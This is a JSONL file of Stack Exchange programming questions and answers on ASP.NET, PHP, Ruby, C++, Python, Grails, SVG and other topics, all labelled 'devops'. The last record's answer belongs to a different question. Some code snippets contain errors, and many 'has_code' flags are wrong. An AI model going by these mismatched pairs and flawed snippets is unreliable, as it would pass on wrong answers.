{"id": "hf_212c82893aa1", "question": "<p>I am using the ASP.Net plugin and control provided by <a href=\"http://recaptcha.net\" rel=\"noreferrer\">reCAPTCHA</a>. I can successfully get the control to work if the submit button on the web form is not in a validationgroup. There is no validationgroup attribute for the reCAPTCHA control. </p>\n\n<p>Has anybody had any success with this or any solutions to get the reCAPTCHA control to work when there is a validationgroup on the web form?</p>\n", "question_body": "", "answer": "The reCAPTCHA ASP.NET plug-in is written to be backward-compatible with ASP.NET 1.1, which means the\n```\nValidationGroup\n```\nconcept (which is new in ASP.NET 2.0) is not supported. But the plug-in comes with\ndownloadable source code\n, so you can modify it yourself to support\n```\nValidationGroup\n```\n.\nIn ASP.NET 2.0,\nvalidators should inherit from\n```\nBaseValidator\n```\nand implement\n```\nIValidator\n```\n, which means you should change the RecaptchaControl type to inherit from\n```\nBaseValidator\n```\ninstead of\n```\nWebControl\n```\n. You will then have to modify the code a bit to implement all methods and properties defined in\n```\nBaseValidator\n```\n. Then you can use this new control on your page instead, which now supports\n```\nValidationGroup\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.893420"}
{"id": "hf_fb1db820fbf2", "question": "<p>I'm using NuSOAP on PHP 5.2.6 and I'm seeing that the max message size is only 1000 bytes (which makes it tough to do anything meaningful). Is this set in the endpoint's WSDL or is this something I can configure in NuSOAP?</p>\n", "question_body": "", "answer": "I am only passingly-familiar with PHP, and have never used the NuSOAP package at all. However, a SOAP message's size should only be limited by the transport medium. In the case of HTTP, it should be pretty much unbounded (the limitation of 16384 bytes in form POST requests isn't due to SOAP, it's from browser limitations (which may actually not exist anymore, but I don't know for certain)).\nI would recommend finding a contact address for the authors/maintainers of NuSOAP and ask them directly. Unless there's something in the WSDL (and I don't recall anything in the WSDL spec that would limit a whole message-body-size... individual parameters (via XML Schema facets), but not the overall body), then the limitation would seem to be in the toolkit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.929834"}
{"id": "hf_13a01806e4a6", "question": "<p>For some weeks now I simply can't run gem install in windows.\nIt sticks on this line:</p>\n\n<pre><code>C:\\Windows\\System32&gt;gem install rails --version 2.1.2\nBulk updating Gem source index for: http://gems.rubyforge.org/\n</code></pre>\n\n<p>Any ideas what it could be?</p>\n", "question_body": "", "answer": "It worked fine on my Windows Server 2003 machine. I am using gem version 1.3.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.954278"}
{"id": "hf_150161e6a32c", "question": "<p>Which are the most advanced frameworks and tools there are available for python for practicing Behavior Driven Development? Especially finding similar tools as rspec and mocha for ruby would be great.</p>\n", "question_body": "", "answer": "I am probably completely missing the point, but what I retained of the\noriginal BDD paper\nwas that BDD was just\nTDD\nrepackaged to emphasize some best practices.\nIf my interpretation is correct, you can get a BDD framework just by renaming methods around in any\nxUnit\nimplementation. So just go ahead and use the standard library's\nunittest\n.\nEDIT: A quick google turned up a\nBehaviour\nmodule in the\nCheese Shop\n. Further\nsearching\nfor BDD there did not find anything else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:58.988628"}
{"id": "hf_e4d3d4668328", "question": "<p>What is the default XSLT processor for IE6. Does it support EXSLT? Is there anyway to make it support it?</p>\n", "question_body": "", "answer": "You have awakened a tormentor from my past.\nMSXML, it was installed as a service update, and the XSLT processor originally included in MSIE6 did not support much of anything other than a very general level of draft functionality.  The service update improved on it greatly.\nBecause of requiring the presence of a service update we never considered performing any client-side XSLT with MSIE6 and instead performed transformations server-side when the client browser was MSIE6 and relayed the transformed content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.015494"}
{"id": "hf_d9d28b6434ee", "question": "<p>I would like to use JavaScript to manipulate hidden input fields in a JSF/Facelets page. When the page loads, I need to set a hidden field to the color depth of the client.</p>\n\n<p>From my Facelet:</p>\n\n<pre><code>&lt;body onload=\"setColorDepth(document.getElementById(?????);\"&gt;\n\n&lt;h:form&gt;\n  &lt;h:inputHidden value=\"#{login.colorDepth}\" id=\"colorDepth\" /&gt;\n&lt;/h:form&gt;\n</code></pre>\n\n<p>When JSF processes the page, it is of course changing the IDs of the elements. What's the best way to reference these elements from my JavaScript code?</p>\n", "question_body": "", "answer": "You'll want to set the ID of the form so you'll know what it is. Then you'll be able to construct the actual element ID.\n```\n```\n<body onload=\"setColorDepth(document.getElementById('myForm:colorDepth');\">\n\n<h:form id=\"myForm\">\n  <h:inputHidden value=\"#{login.colorDepth}\" id=\"colorDepth\" />\n</h:form>\n```\n```\nIf you don't want to set the form's ID field, you could find it at runtime, like so:\n```\n```\n<body onload=\"setColorDepth(document.getElementById(document.forms[0].id + ':colorDepth');\">\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.040186"}
{"id": "hf_6b7040a726e3", "question": "<p>Should my ajax calls talk to webservices or to simple webpages? It seems to be so much easier to simply Response.Write() the content. Are webservices more reliable or secure?</p>\n", "question_body": "", "answer": "Since the pages have a more complicated lifecycle, there is more overhead in calling a web page.\nThat said, I doubt it really matters in the end, but semantically and practically, a web page is not as efficient.\nUPDATE: Can you clarify? Are you talking about typical ASP.NET pages? Or \"Classic\" ASP? As someone in comments on this answer pointed out, if we are talking \"Classic\" ASP, then it would be more simple than an ASP.NET page, but I think that goes without saying...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.090560"}
{"id": "hf_3a1fcdaebcb4", "question": "<p>Looking for a good choice of .NET-based Wiki Platform.  Doesn't need to be Open Source, but the cheaper the better.</p>\n", "question_body": "", "answer": "Linked Note\nSharpForge\nis an asp.net 2.0(c#) project management application, released under the new BSD license. Each project has its own wiki. Rather than using a special syntax the wiki uses standard HTML. Content is versioned in the version control system.\nFlexWiki\nis written in C#, uses the .NET framework, and stores data in files or Microsoft SQL Server. FlexWiki is an open source wiki software, released under the CPL (binaries and source code available for download).\nPerspective\nis written in C#, uses the .NET framework, and stores data in XML files. Binary and Source Code are available for download.\nSharpForge\nis an asp.net 2.0(c#) project management application, released under the new BSD license. Each project has its own wiki. Rather than using a special syntax the wiki uses standard HTML. Content is versioned in the version control system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.148552"}
{"id": "hf_cd70f3990810", "question": "<p>Does anybody have an implementation of <a href=\"http://en.wikipedia.org/wiki/Cuckoo_hashing\" rel=\"noreferrer\">Cuckoo hashing</a> in C? If there was an Open Source, non GPL version it would be perfect!</p>\n\n<p>Since Adam mentioned it in his comment, anyone knows why it is not much used? Is it just a matter of implementation or the good theoretical properties do not materialize in practice?</p>\n", "question_body": "", "answer": "Cuckoo hashing is relatively unused outside of academia (aside from hardware caches, which sometimes borrow ideas from, but don't really implement fully).  It requires a very sparse hash table to get good time on insertions - you really need to have 51% of your table empty for good performance.  So it is either fast and takes a lot of space, or slow and uses space efficiently - never both.  Other algorithms are both time and space efficient, although they are worse than cuckoo when only time or space is taken into account.\nHere is a\ncode generator for cuckoo hash tables\n.  Check the license of the generator to verify that the output is non GPL.  It should be, but check anyway.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.176046"}
{"id": "hf_f90b8b69d040", "question": "<p>I have a site, foo.com, that makes ajax requests to bar.foo.com. Will this work.</p>\n\n<p>Also, if foo is a secure connection, https, does bar.foo.com need to be https too? Can these two sites use different certificates?</p>\n", "question_body": "", "answer": "Most browsers will, depending on their security/privacy setting, block any outside call made - and only allow AJAX calls made to the same domain. Even subdomains are blocked, because on shared environments they might pose a real threat.\nIn short: only make AJAX calls through the same domain (perhaps call a page, that in turn calls another page from another domain - through curl/fopen/...), or you'll run into troubles. That also answers your SSL question - it doesn't matter what SSL you're using, or whether they're the same - calls will get blocked, despite the SSL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.234609"}
{"id": "hf_44bc0d6890b8", "question": "<p>Is there an elegant way to create and initialize a <code>const std::vector&lt;const T&gt;</code> like <code>const T a[] = { ... }</code> to a fixed (and small) number of values?<br>\nI need to call a function frequently which expects a <code>vector&lt;T&gt;</code>, but these values will never change in my case.</p>\n\n<p>In principle I thought of something like</p>\n\n<pre><code>namespace {\n  const std::vector&lt;const T&gt; v(??);\n}\n</code></pre>\n\n<p>since v won't be used outside of this compilation unit.</p>\n", "question_body": "", "answer": "For C++11:\n```\n```\nvector<int> luggage_combo = { 1, 2, 3, 4, 5 };\n```\n```\nOriginal answer:\nYou would either have to wait for C++0x or use something like\nBoost.Assign\nto do that.\ne.g.:\n```\n```\n#include <boost/assign/std/vector.hpp>\nusing namespace boost::assign; // bring 'operator+=()' into scope\n\nvector<int> v;\nv += 1,2,3,4,5;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.270199"}
{"id": "hf_7beae41adceb", "question": "<p>I am using RedCloth with Rails 2.1.1. The Textile <code>&lt;del&gt;</code> tag markup format (i.e. -delete-) was not translating at all.  Tried a few choice options.</p>\n\n<pre><code>&gt; x=RedCloth.new('foobar -blah-')\n=&gt; \"foobar -blah-\"\n&gt; x.to_html\n=&gt; \"&lt;p&gt;foobar &lt;del&gt;blah&lt;/del&gt;&lt;/p&gt;\"  # WORKED!\n&gt; x=RedCloth.new('foobar * -blah-')\n=&gt; \"foobar * -blah-\"\n&gt; x.to_html\n=&gt; \"&lt;p&gt;foobar * &lt;del&gt;blah&lt;/del&gt;&lt;/p&gt;\"  # WORKED!\n&gt; x=RedCloth.new(\"foobar\\n* -blah-\")\n=&gt; \"foobar\\n* -blah-\"\n&gt; x.to_html\n=&gt; \"&lt;p&gt;foobar&lt;/p&gt;\\n&lt;ul&gt;\\n\\t&lt;li&gt;-blah-&lt;/li&gt;\\n&lt;/ul&gt;\"  # DID NOT WORK!\n</code></pre>\n\n<p>It appears to me that newlines are the culprit in throwing RedCloth up-in-arms. Any solutions to getting RedCloth to properly recognize '-delete-'?  I have tried RedCloth 4.0.1, 4.0.3, and 4.0.4.</p>\n", "question_body": "", "answer": "Looks like RedCloth needs a little more syntax to interpret the delete tag as the first element after a list item...\n```\n```\n>> RedCloth.new(\"foobar\\n* [-blah-]\").to_html\n=> \"<p>foobar</p>\\n<ul>\\n\\t<li><del>blah</del></li>\\n</ul>\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.298814"}
{"id": "hf_53172c0c4a51", "question": "<p>I've created a list using the SharePoint (MOSS 2007) Issue Tracking List.  A \"Comments\" field is automatically created in this list.  The Comments column has extra functionality that provides a sort of history/log whenever an edit is made to a list item.  Unfortunately, a comment entry is created even when an insignificant edit is made.  For example, I could edit the title of the list item and leave the comment field blank.  This results in a blank entry being saved for the Comments field (except the date/time of the edit and the person making it).  If there are several edits made (with the Comments field left empty), then several blank entries appear to be stored in the data (for the Comment field).  Is there a way to not save a comment entry if it's blank?</p>\n\n<p>Also, is there a way to have a Comments field in a Custom List?  This column seems to only be available in the Issues Tracking List.</p>\n", "question_body": "", "answer": "The \"Comments\" field is actually an \"Append-Only Comments\" Column .  You should be able to add this to any custom list.  (You will need versioning turned on on the list to operate in the same manner as it does in issue tracker.)\nAs far as not getting \"blank\" entries, the only way to do this, would be to turn off \"Append Changes to Existing Text\" option on the column under list settings.  Doing this would turn it into just another multi-line text box.\nI think you are missing the point of this column.  After an edit is made, you can click on the Date/time in this column and it will show you that version of the list item.  I realize that you could do this in version history as well, but this gives you a quick link inside the item.  Also, trained users should be documenting what they changed inside this box.  Might help to rename the column to \"Note Changes Made Here.\" :)\nGood Luck", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.346410"}
{"id": "hf_a1cc8e4618a6", "question": "<p>So I have a snazzy custom route for login</p>\n\n<pre><code># routes.rb\nmap.login '/login', :controller =&gt; 'sessions', :action =&gt; 'new'\n</code></pre>\n\n<p>Visit www.asite.com/login and you're there.  As is custom with failed login, however, we'll do the following in our action.  Note what happens on failed login.</p>\n\n<pre><code> # sessions_controller.rb\n\n def create\n   self.current_user = User.authenticate(params[:email], params[:password])\n   if logged_in?\n     # some work and redirect the user\n   else\n     flash.now[:warning] = \"The email and/or password you entered is invalid.\"\n     render :action =&gt; 'new'\n   end\n end\n</code></pre>\n\n<p>This is very typical.  Simply render the new action and prompt for login again.  Unfortunately you also get with it an ugly URL: www.asite.com/session. Ick! Is it possible to get rendering to respect the original URL?</p>\n", "question_body": "", "answer": "Change\n```\nrender :action => 'new'\n```\nto\n```\nredirect_to login_path\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.371199"}
{"id": "hf_5ea1f0bef272", "question": "<p>I'd like to use the <a href=\"https://developer.mozilla.org/en/Rhino_JavaScript_Compiler\" rel=\"nofollow noreferrer\">Rhino JavaScript</a> compiler to compile some JavaScript to .class bytecode files for use in a project. It seems like this should already exist, since there are groovyc, netrexxc, and jythonc tasks for Groovy, NetREXX(!) and Jython, respectively. Has anyone used or written such an Ant task, or can anyone provide some tips on how to write one?</p>\n\n<p>Ideally it would have some way to resolve dependencies among JavaScript or Java classes.</p>\n", "question_body": "", "answer": "Why not simply use java task?\n```\n```\n<java fork=\"yes\" \n  classpathref=\"build.path\" \n  classname=\"org.mozilla.javascript.tools.jsc.Main\" \n  failonerror=\"true\">\n    <arg value=\"-debug\"/>\n        ...\n    <arg value=\"file.js\"/>          \n</java>\n```\n```\nAny objections?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.420543"}
{"id": "hf_075f251877c5", "question": "<p>How do you set the timeout for blocking operations on a Ruby socket?</p>\n", "question_body": "", "answer": "The solution I found which appears to work is to use\nTimeout::timeout\n:\n```\n```\nrequire 'timeout'\n    ...\nbegin \n    timeout(5) do\n        message, client_address = some_socket.recvfrom(1024)\n    end\nrescue Timeout::Error\n    puts \"Timed out!\"\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.535537"}
{"id": "hf_e7c8eaae12c1", "question": "<p>With common lisp and I am assuming the introspection properties.  How can I add code to common lisp code that will tell me when a function is called and when has finished executing.  I want to take any lisp code and this particular modification to the code.  I figure with lisp's AST analysis, this should be possible.</p>\n", "question_body": "", "answer": "Common lisp has a TRACE function that reports the function, arguments and resulting value of each call specified. Here is the doc page for Steel Bank's version, but you should find something similar in most implementations:\nhttp://www.sbcl.org/manual/Function-Tracing.html\nThe system also includes a profiler:\nhttp://www.sbcl.org/manual/Deterministic-Profiler.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.559769"}
{"id": "hf_a6bd34602a1e", "question": "<p>Given this in a grails action:</p>\n\n<pre><code>def xml = {\n    rss(version: '2.0') {\n        ...\n    }\n}\nrender(contentType: 'application/rss+xml', xml)\n</code></pre>\n\n<p>I see this:</p>\n\n<pre><code>&lt;rss&gt;&lt;channel&gt;&lt;title&gt;&lt;/title&gt;&lt;description&gt;&lt;/description&gt;&lt;link&gt;&lt;/link&gt;&lt;item&gt;&lt;/item&gt;&lt;/channel&gt;&lt;/rss&gt;\n</code></pre>\n\n<p>Is there an easy way to pretty print the XML? Something built into the render method, perhaps?</p>\n", "question_body": "", "answer": "This is a simple way to pretty-print XML, using Groovy code only:\n```\n```\ndef xml = \"<rss><channel><title></title><description>\" +\n   \"</description><link></link><item></item></channel></rss>\"\n\ndef stringWriter = new StringWriter()\ndef node = new XmlParser().parseText(xml);\nnew XmlNodePrinter(new PrintWriter(stringWriter)).print(node)\n\nprintln stringWriter.toString()\n```\n```\nresults in:\n```\n```\n<rss>\n  <channel>\n    <title/>\n    <description/>\n    <link/>\n    <item/>\n  </channel>\n</rss>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.595274"}
{"id": "hf_0a58244439ba", "question": "<p>To add a svg graphics in html page, it is common to use object tag to wrap it like this:</p>\n\n<pre><code>&lt;object id=\"svgid\" data=\"mysvg.svg\" type=\"image/svg+xml\" \n  wmode=\"transparent\" width=\"100\" height=\"100\"&gt;\n\nthis browser is not able to show SVG: &lt;a linkindex=\"3\"\nhref=\"http://getfirefox.com\"&gt;http://getfirefox.com&lt;/a&gt; \nis free and does it!\nIf you use Internet Explorer, you can also get a plugin: \n&lt;a linkindex=\"4\" href=\"http://www.adobe.com/svg/viewer/install/main.html\"&gt;\nhttp://www.adobe.com/svg/viewer/install/main.html&lt;/a&gt;\n\n&lt;/object&gt;\n</code></pre>\n\n<p>If you do not use width and height attributes in the object tag, the svg will be displayed in full size. Normally I get svg files from Open Graphics Library for testing. Is there any way to get svg's size by using JavaScript? Or maybe I should just look at the svg xml file to find out the size from the top svg tag?</p>\n", "question_body": "", "answer": "> Is there any way to get svg's size by using JavaScript?\nNo and yes.\nNo:\nJavaScript won't be able to access the SVG file contents that are sitting in the browser.\nSo it wouldn't be possible to have a page containing an arbitrary SVG image and then have JavaScript determine anything from the SVG file itself.\nThe only data JS can access it that contained within the page's DOM: the original markup plus any JS-related modifications to the DOM. You could access the\n```\nobject\n```\nelement's attributes and descendant nodes, but that won't give you visibility of anything more than what you can see if you look at the page markup yourself.\nYes:\nJS (in modern browsers) can parse any XML string into a DOM and then access the content using DOM-based methods.\nYou could get the SVG file contents by issuing an xmlHttpRequest-style request (i.e. JS performs an HTTP GET on the SVG file's URL). JS would then have the SVG file's full XML string and you can then access anything you like.\n> Or maybe I should just look at the svg xml file to find out the size from the top svg tag?\nThis would be more feasible by far.\nThe only JS-based solution would require JS to perform a GET request on the SVG file's URL (as above), which is unlikely to be feasible - each page load might result in double-downloading each SVG file, and the parsing of the SVG's XML into a DOM by JS might be too resource intensive.\nHaving JS retrieve the SVG's XML content and parse it into a DOM to retrieve only the image dimensions is a bit overkill. It's perfectly possible, but generally not practical.\nQuerying the SVG's XML content server-side, determining a suitable width and height and then dynamically adding the\n```\nwidth\n```\nand\n```\nheight\n```\nattributes prior to returning markup to the browser would be your best bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.624114"}
{"id": "hf_acae51448c2f", "question": "<p>I have created a pretty basic Flash website for a client and am having an issue programming a Client Login feature that he would like. Currently, if I navigate to the site and click Client Login, it takes me to a login page. The way I need this to work is -- within the Flash, using ActionScript 2.0 -- have the user enter their UserID and Password and click to login, which submits POST vars to the form action of the Client Login website.</p>\n\n<p>Is this possible/legal to do from a different domain? How would I go about doing this, assuming it's possible?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nmyVars = new LoadVars();\nmyVars.username = username.text;\nmyVars.password = pwd.text;\nmyVars.onLoad = function(success) {\n        trace(\"yay!\");\n    else {\n        trace(\"try again\");    \n    }\n}\nmyVars.sendAndLoad(\"login.php\", myVars, \"POST\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.674301"}
{"id": "hf_453b0601a4fc", "question": "<p>We have a large management software that is producing big reports of all kinds, based on numerous loops, with database retrievals, objects creations (many), and so on.</p>\n\n<p>On PHP4 it could run happily with a memory limit of 64 MB - now we have moved it on a new server and with the same database - same code, the same reports won't come up without a gig of memory limit...</p>\n\n<p>I know that PHP5 has changed under the hood quite a lot of things, but is there a way to make it behave ?</p>\n\n<p>The question at the end is, what strategies do you apply when you need to have your scripts on a diet ?</p>\n", "question_body": "", "answer": "Since moving to the new server, have you verified that your MySQL and PHP system variables are identical to the way they were on your old server?\nPHP5 introduced a lot of new functionality but due to its backward compatibility mantra, I don't believe that the differences between PHP5 and PHP4 should be causing this large an affect on the performance of an application who's code and database has not been altered.\nAre you also running on the same version of Apache or IIS?\nIt sounds like a problem that is more likely related to your new system environment than to an upgrade from PHP4 to 5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.723313"}
{"id": "hf_39835d8f4629", "question": "<p>This seems like a simple question, but I can't find it with the Stack Overflow search or Google. What does a type followed by a <code>_t</code> mean? Such as</p>\n\n<pre><code>int_t anInt;\n</code></pre>\n\n<p>I see it a lot in C code meant to deal closely with hardware—I can't help but think that they're related.</p>\n", "question_body": "", "answer": "It means type.\n```\nsize_t\n```\nis the size type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.808428"}
{"id": "hf_cc44d0174af3", "question": "<p>Oracle purchased BEA and their WebLogic suite of tools. They still have a competing product in their own 10gAS Application Server. Both are <a href=\"http://en.wikipedia.org/wiki/Java_Platform,_Enterprise_Edition\" rel=\"nofollow noreferrer\">Java EE</a>, enterprise grade, servers. While it make take some time due to maintenance agreements, it would be unusual for them to continue to produce two products within the same architectural space. So...</p>\n\n<ol>\n<li>Will they retire their previous application server in favor of WebLogic?</li>\n<li>Is WebLogic the one that will be retired?</li>\n<li>How long of a process is this likely to be? Years?</li>\n</ol>\n\n<hr>\n\n<p>What have they done with PeopleSoft vs. Oracle Applications? Likely the same pattern will be followed.</p>\n", "question_body": "", "answer": "As you say, it would be unusual for them to maintain two products within the same architectural space. I don't know Java application servers, but given the climate of financial markets, and that it would probably take lots of money to maintain two such application servers, I would say it's a foregone conclusion that one of the products will be cut, and sooner rather than later at that (as soon as the cost of settling breach of maintenance contracts falls below what it costs to maintain the outgoing product). As for which one will go, my bet will be on WebLogic because it \"wasn't invented here\"...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.890899"}
{"id": "hf_465ab8c91c19", "question": "<p>I am working on a VB.NET WinForms app that was \"upgraded\" by Visual Studio (originally 1.0 or 1.1) from VB6 code (which was itself upgraded from VB5). Except for the few new forms I've created since taking over maintenance of this app, all of the forms in the application have a method called DefInstance which allows you to grab an in-memory copy of the form if there is one. What I can't figure out is why: when would I ever need to reference a form object in memory when it's not immediately in scope where I'm working. To my mind this violates all kinds of sound programming principles and seems like an invitation for memory leaks or worse.</p>\n\n<p>The questions: (1) is this DefInstance thing an merely unfortunate remnant of the VB6 heritage of this app, and (2) should I make a point of removing DefInstance methods throughout the application?</p>\n", "question_body": "", "answer": "As you mention, it lets you get a reference to the form.\nI've seen lots of VB written like this:\n```\n```\nPrivate Sub Command_Click()\n   Call DoStuff\nEnd Sub\n\nPrivate Sub DoStuff()\n   Form1.myTextbox.Text = \"Bad Idea\"\nEnd Sub\n```\n```\nDefInstance allows DoStuff() to continue working without passing controls around.\nSee here:\nhttp://social.msdn.microsoft.com/Forums/en-US/vbgeneral/thread/6d7985b5-6db6-47a8-9e11-cbf114a48d37/\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.914555"}
{"id": "hf_e1e69aedc671", "question": "<p>In C++ you can disable a function in parent's class by declaring it as private in the child class. How can this be done in Python? I.E. How can I hide parent's function from child's public interface?</p>\n", "question_body": "", "answer": "```\n```\nclass X(object):\n    def some_function(self):\n        do_some_stuff()\n\nclass Y(object):\n    some_function = None\n```\n```\nThis may lead to some nasty and hard to find exceptions being thrown though, so you might try this:\n```\n```\nclass X(object):\n    def some_function(self):\n        do_some_stuff()\n\nclass Y(object):\n    def some_function(self):\n        raise NotImplementedError(\"function some_function not implemented\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.963557"}
{"id": "hf_9a412e1f87ae", "question": "<p>The follow code (running in ASP.Net 2.0) displays the contents of the requested URL <strong>twice</strong>. I only want it to display the contents of the requested URL once. I can't figure out what I'm doing wrong. The URL requested is returning XML and if I visit the URL directly, it works fine.</p>\n\n<pre><code>HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);\nbyte[] postDataBytes = Encoding.UTF8.GetBytes(postData);\nrequest.Method = \"POST\";\nrequest.ContentType = \"application/xml\";\nrequest.ContentLength = postDataBytes.Length;\nStream requestStream = request.GetRequestStream();\nrequestStream.Write(postDataBytes, 0, postDataBytes.Length);\nrequestStream.Close();\n\n// get response and write to console\nresponse = (HttpWebResponse) request.GetResponse();\nStreamReader responseReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\ntry {\n   Response.Write(responseReader.ReadToEnd());\n}\nfinally {\n   responseReader.Close();\n}\nresponse.Close();\n</code></pre>\n", "question_body": "", "answer": "```\n```\nclass X(object):\n    def some_function(self):\n        do_some_stuff()\n\nclass Y(object):\n    some_function = None\n```\n```\nThis may lead to some nasty and hard to find exceptions being thrown though, so you might try this:\n```\n```\nclass X(object):\n    def some_function(self):\n        do_some_stuff()\n\nclass Y(object):\n    def some_function(self):\n        raise NotImplementedError(\"function some_function not implemented\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:59.988121"}
